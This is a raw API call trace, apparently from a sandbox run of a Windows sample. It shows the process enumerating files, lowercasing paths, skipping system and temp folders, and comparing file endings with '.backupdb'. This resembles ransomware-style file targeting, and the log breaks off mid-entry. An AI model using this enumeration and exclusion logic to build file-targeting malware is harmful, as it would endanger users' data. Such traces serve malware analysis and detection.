CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", cchLength=0x57 | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml") returned 0x57 [0120.428] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.428] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", cchLength=0x57 | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml") returned 0x57 [0120.428] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.428] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", cchLength=0x57 | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml") returned 0x57 [0120.428] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.428] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", cchLength=0x57 | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml") returned 0x57 [0120.428] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.428] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", cchLength=0x57 | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml") returned 0x57 [0120.429] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.429] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml", cchLength=0x57 | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml") returned 0x57 [0120.429] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.429] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.429] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.429] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.429] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.429] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.429] lstrcpynW (in: lpString1=0x14b4794, lpString2="DLLHOST.EXE-7D2183B8.pf", iMaxLength=24 | out: lpString1="DLLHOST.EXE-7D2183B8.pf") returned="DLLHOST.EXE-7D2183B8.pf" [0120.429] GetLastError () returned 0x0 [0120.430] VarBstrCmp (bstrLeft="2183B8.pf", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.430] lstrcpynW (in: lpString1=0x14da7c4, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.430] GetLastError () returned 0x0 [0120.430] VarBstrCmp (bstrLeft="sktop.ini", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.431] lstrcpynW (in: lpString1=0x14b46bc, lpString2="thankyou[1].htm", iMaxLength=16 | out: lpString1="thankyou[1].htm") returned="thankyou[1].htm" [0120.431] GetLastError () returned 0x0 [0120.431] VarBstrCmp (bstrLeft="ou[1].htm", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.431] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="姺", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.432] GetLastError () returned 0x0 [0120.432] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.432] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.432] GetLastError () returned 0x0 [0120.433] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR" [0120.433] GetLastError () returned 0x0 [0120.433] CloseHandle (hObject=0x2c4) returned 1 [0120.433] GetLastError () returned 0x0 [0120.433] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.433] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm") returned 0x80 [0120.433] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.433] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm") returned 0x80 [0120.434] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.434] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm") returned 0x80 [0120.434] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.434] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm") returned 0x80 [0120.434] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.434] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm") returned 0x80 [0120.434] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.434] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\thankyou[1].htm", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\thankyou[1].htm") returned 0x80 [0120.435] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.435] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.435] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.435] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.435] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.435] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.435] lstrcpynW (in: lpString1=0x144bb04, lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", iMaxLength=66 | out: lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" [0120.435] GetLastError () returned 0x0 [0120.435] VarBstrCmp (bstrLeft="5801A04F9", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.435] lstrcpynW (in: lpString1=0x144da84, lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", iMaxLength=66 | out: lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" [0120.436] GetLastError () returned 0x0 [0120.436] VarBstrCmp (bstrLeft="5801A04F9", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.436] lstrcpynW (in: lpString1=0x14b48fc, lpString2="BBBOmar[1].jpgP", iMaxLength=15 | out: lpString1="BBBOmar[1].jpg") returned="BBBOmar[1].jpg" [0120.436] GetLastError () returned 0x0 [0120.436] VarBstrCmp (bstrLeft="ar[1].jpg", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.436] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="娂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.437] GetLastError () returned 0x0 [0120.437] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.437] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.438] GetLastError () returned 0x0 [0120.438] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8" [0120.438] GetLastError () returned 0x0 [0120.438] CloseHandle (hObject=0x2c4) returned 1 [0120.438] GetLastError () returned 0x0 [0120.438] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.438] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg") returned 0x7f [0120.438] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.438] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg") returned 0x7f [0120.439] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.439] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg") returned 0x7f [0120.439] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.439] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg") returned 0x7f [0120.439] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.439] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg") returned 0x7f [0120.439] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.439] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", cchLength=0x7f | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg") returned 0x7f [0120.440] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.440] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.440] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.440] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.440] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.440] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.440] lstrcpynW (in: lpString1=0x1467b44, lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", iMaxLength=66 | out: lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" [0120.440] GetLastError () returned 0x0 [0120.440] VarBstrCmp (bstrLeft="A21255C61", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.441] lstrcpynW (in: lpString1=0x1433584, lpString2="fwtsqmfile02.sqm", iMaxLength=17 | out: lpString1="fwtsqmfile02.sqm") returned="fwtsqmfile02.sqm" [0120.441] GetLastError () returned 0x0 [0120.441] VarBstrCmp (bstrLeft="ile02.sqm", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.441] lstrcpynW (in: lpString1=0x1467b44, lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", iMaxLength=66 | out: lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" [0120.441] GetLastError () returned 0x0 [0120.442] VarBstrCmp (bstrLeft="A21255C61", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.442] lstrcpynW (in: lpString1=0x1433584, lpString2="WMIADAP.EXE-369DF1CD.pf", iMaxLength=24 | out: lpString1="WMIADAP.EXE-369DF1CD.pf") returned="WMIADAP.EXE-369DF1CD.pf" [0120.442] GetLastError () returned 0x0 [0120.442] VarBstrCmp (bstrLeft="9DF1CD.pf", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.442] lstrcpynW (in: lpString1=0x14b4aac, lpString2="energy-report-2017-07-12.xml", iMaxLength=29 | out: lpString1="energy-report-2017-07-12.xml") returned="energy-report-2017-07-12.xml" [0120.442] GetLastError () returned 0x0 [0120.443] VarBstrCmp (bstrLeft="07-12.xml", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.443] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ɵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.443] GetLastError () returned 0x0 [0120.443] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.443] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.443] GetLastError () returned 0x0 [0120.443] lstrcpynW (in: lpString1=0x1467b44, lpString2="\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics", iMaxLength=60 | out: lpString1="\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0120.443] GetLastError () returned 0x0 [0120.443] CloseHandle (hObject=0x2c4) returned 1 [0120.444] GetLastError () returned 0x0 [0120.444] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.444] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", cchLength=0x5b | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml") returned 0x5b [0120.444] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.444] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", cchLength=0x5b | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml") returned 0x5b [0120.444] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.444] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", cchLength=0x5b | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml") returned 0x5b [0120.444] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.445] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", cchLength=0x5b | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml") returned 0x5b [0120.445] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.445] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", cchLength=0x5b | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml") returned 0x5b [0120.445] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.445] CharLowerBuffW (in: lpsz="C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-2017-07-12.xml", cchLength=0x5b | out: lpsz="c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-2017-07-12.xml") returned 0x5b [0120.445] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.445] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.445] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.445] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.445] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.445] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.446] lstrcpynW (in: lpString1=0x1433584, lpString2="JAVAW.EXE-F222D1F8.pf", iMaxLength=22 | out: lpString1="JAVAW.EXE-F222D1F8.pf") returned="JAVAW.EXE-F222D1F8.pf" [0120.446] GetLastError () returned 0x0 [0120.446] VarBstrCmp (bstrLeft="22D1F8.pf", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.446] lstrcpynW (in: lpString1=0x142fffc, lpString2="desktop.ini", iMaxLength=12 | out: lpString1="desktop.ini") returned="desktop.ini" [0120.446] GetLastError () returned 0x0 [0120.447] VarBstrCmp (bstrLeft="sktop.ini", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.447] lstrcpynW (in: lpString1=0x14b4aac, lpString2="ADDINUTIL.EXE-8F48E508.pf", iMaxLength=26 | out: lpString1="ADDINUTIL.EXE-8F48E508.pf") returned="ADDINUTIL.EXE-8F48E508.pf" [0120.447] GetLastError () returned 0x0 [0120.447] VarBstrCmp (bstrLeft="48E508.pf", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.447] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.447] GetTickCount () returned 0x1150c9f [0120.447] GetTickCount () returned 0x1150c9f [0120.447] GetTickCount () returned 0x1150c9f [0120.447] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.447] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.447] GetTickCount () returned 0x1150c9f [0120.448] IsWindowVisible (hWnd=0x30268) returned 0 [0120.448] Sleep (dwMilliseconds=0x0) [0120.455] lstrcpynW (in: lpString1=0x14da79c, lpString2="index.dat", iMaxLength=10 | out: lpString1="index.dat") returned="index.dat" [0120.455] GetLastError () returned 0x0 [0120.486] VarBstrCmp (bstrLeft="index.dat", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.486] lstrcpynW (in: lpString1=0x14b4aac, lpString2="cversions.1.dbP", iMaxLength=15 | out: lpString1="cversions.1.db") returned="cversions.1.db" [0120.486] GetLastError () returned 0x0 [0120.486] VarBstrCmp (bstrLeft="ions.1.db", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0120.486] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ȩ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.486] GetLastError () returned 0x0 [0120.487] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.487] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14df9e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14df9e0) returned 0x0 [0120.487] GetLastError () returned 0x0 [0120.487] lstrcpynW (in: lpString1=0x144da84, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches", iMaxLength=67 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches" [0120.487] GetLastError () returned 0x0 [0120.487] 